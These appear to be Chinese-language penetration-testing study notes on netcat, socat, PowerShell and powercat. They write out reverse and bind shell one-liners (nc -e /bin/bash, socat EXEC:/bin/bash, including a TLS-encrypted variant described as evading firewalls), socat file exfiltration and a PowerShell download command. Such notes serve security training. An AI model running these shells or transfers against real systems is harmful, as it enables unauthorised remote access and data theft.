# Netcat

很牛逼的工具,可以创建 TCP 或 UDP 的连接,同时可以是服务端也可以是客户端。

  • -n 跳过 dns 解析
  • -v 显示详情
  • -l 监听
  • -p 指定端口

可以使用重定向符号进行传文件的传递

-e 可以指定执行程序,并重定向输入输出到这个程序上,如: nc -lnvp 4444 -e cmd.exe ,然后使用 nc 连这个端口就能拿到 shell

当然上面那个是监听端启动 shell,也可以建立最常用的反向连接: nc -nv X.X.X.X 4444 -e /bin/bash

# socat

用法: socat - TCP4:X.X.X.X:110 ,建立 110 端口的 TCP 连接,中间的 - 使链接成为交互式。

sudo socat TCP4-LISTEN:443 STDOUT : 起了一个 TCP 监听,443 端口需要使用 sudo 权限,STDOUT 采用标准输入输出。

监听后使用第一个的方法可以建立会话发送数据。

如果想要发送文件,可以通过如下方法:

sudo socat TCP4-LISTEN:443,fork file:secret_password.txt :指定了发送的文件,开启了监听,当有会话接入时将 fork 一个子进程出来进行文件的传输。

socat TCP4:X.X.X.X:443 file:received_file.txt,create :指定名称保存。

反向 shell:

监听: socat -d -d TCP4-LISTEN:4444 STDOUT , 连用两个 -d 增加调试级别,显示更详细的输出。

弹 shell: socat TCP4:X.X.X.X:4444 EXEC:/bin/bash

socat 还可以进行加密,可以隐藏敏感数据或规避防火墙。

通过 openssl 生成 rsa 证书,将其转换成 pem 格式。

sudo socat OPENSSL-LISTEN:443,cert=XXX.pem,verify=0,fork EXEC=/bin/bash : 使用选定的证书进行加密,取消 ssl 验证

socat - OPENSSL:X.X.X.X:443,verify=0 : 禁用 ssl 证书验证,建立连接

# Powershell & Powercat

使用 powershell 下载文件: powershell -c "(new-object System.Net.WebClient).DownloadFile('http://x.x.x.x/1.txt','path_to_save\1.txt')"

powershell 下的反弹 shell 很复杂,懒得记了。从网上查吧。

可以通过 powershel 反弹,NC 监听。正向 shell 也一样 ==、

powershell 的功能十分丰富。

powercat 是 powershell 版本的 natcat,在 windows 环境下做了适配,有更复杂的网络功能,且支持加密。

# 流量处理

wireshark 和 tcpdump

wireshark 是图形化界面的,研究下过滤的方法

tcpdump 也一样 ==、

只讲了些基础,具体实操根据需求自己组装。